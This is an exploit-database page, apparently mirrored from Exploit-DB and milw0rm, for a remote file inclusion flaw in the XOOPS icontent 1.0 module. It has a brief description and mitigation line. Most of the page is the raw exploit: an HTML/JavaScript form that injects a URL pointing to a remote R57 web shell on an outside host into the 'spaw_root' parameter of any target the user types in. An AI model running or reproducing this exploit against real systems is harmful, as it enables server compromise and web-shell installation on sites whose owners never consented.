header-logo
Suggest Exploit
vendor:
XOOPS Module icontent
by:
Mahmood_ali
7.5
CVSS
HIGH
Remote File Inclusion
98
CWE
Product Name: XOOPS Module icontent
Affected Version From: 1
Affected Version To: 1
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested:

XOOPS Module icontent v.1.0 Remote File Inclusion Exploit

This exploit allows an attacker to include a remote file in the XOOPS Module icontent v.1.0. The vulnerability exists in the 'spaw_control.class.php' file located in the '/modules/icontent/include/wysiwyg/' directory. By manipulating the 'spaw_root' parameter in the URL, an attacker can include a malicious file from a remote server, potentially leading to remote code execution.

Mitigation:

To mitigate this vulnerability, it is recommended to update to a patched version of the XOOPS Module icontent.
Source

Exploit-DB raw data:

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>XOOPS Module icontent v.1.0 Remote File Inclusion Exploit</title>

<script language="JavaScript">

//'===============================================================================================
//'[Script Name: XOOPS Module icontent v.1.0
//'[Author     : Mahmood_ali
//'[S.Page     : http://mirror.in.th/sourceforge.net/x/xo/xoops/xoops2-mod_icontent.zip
//'===============================================================================================

//'[[V.Code]]------------------------------------------------------
//'
//'include $spaw_root.'config/spaw_control.config.php';
//'include $spaw_root.'class/toolbars.class.php';
//'include $spaw_root.'class/lang.class.php';
//'
//'[[V.Code]]---------------------------------------------------------

//# Tryag.Com
//# ...




   var path="/modules/icontent/include/wysiwyg/"
   var adres="spaw_control.class.php" //File name
   var acik ="?spaw_root=" // Line 15
   var shell="http://lppm.uns.ac.id/r57.txt?" // R57Shell

   function command(){
       if (document.rfi.target1.value==""){
          alert("Failed..");
      return false;
    }



  rfi.action= document.rfi.target1.value+path+adres+acik+shell; // Ready
  rfi.submit(); // Form Submit
   }
</script>

</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Arial" size="2" color="#FFFFFF">XOOPS Module icontent 
v.1.0 Remote File Inclusion Exploit</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Tahoma" size="1" color="#FF0000">Target:</font><font 
face="Tahoma" size="1" 
color="#FFFF00">[http://[target]/[scriptpath]</font><font color="#00FF00" 
size="2" face="Tahoma">
  </font><font color="#FF0000" size="2">&nbsp;</font></b>
  <input type="text" name="target1" size="20" style="background-color: 
#808000" onmouseover="javascript:this.style.background='#808080';" 
onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Gonder" name="B1"><input type="reset" 
value="Sifirla" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" 
frameborder="0"></iframe>
</p>

<b><font face="Lucida Handwriting" size="5" 
color="#FF0000">Mahmood_ali</font></b><p>
<b><a href="http://tryag.com/cc">
<font face="Lucida Handwriting" size="5" 
color="#FFFFFF">TrYaG-Team</font></a></b></p>
</p>
</center>
</body>

</html>

# milw0rm.com [2007-06-01]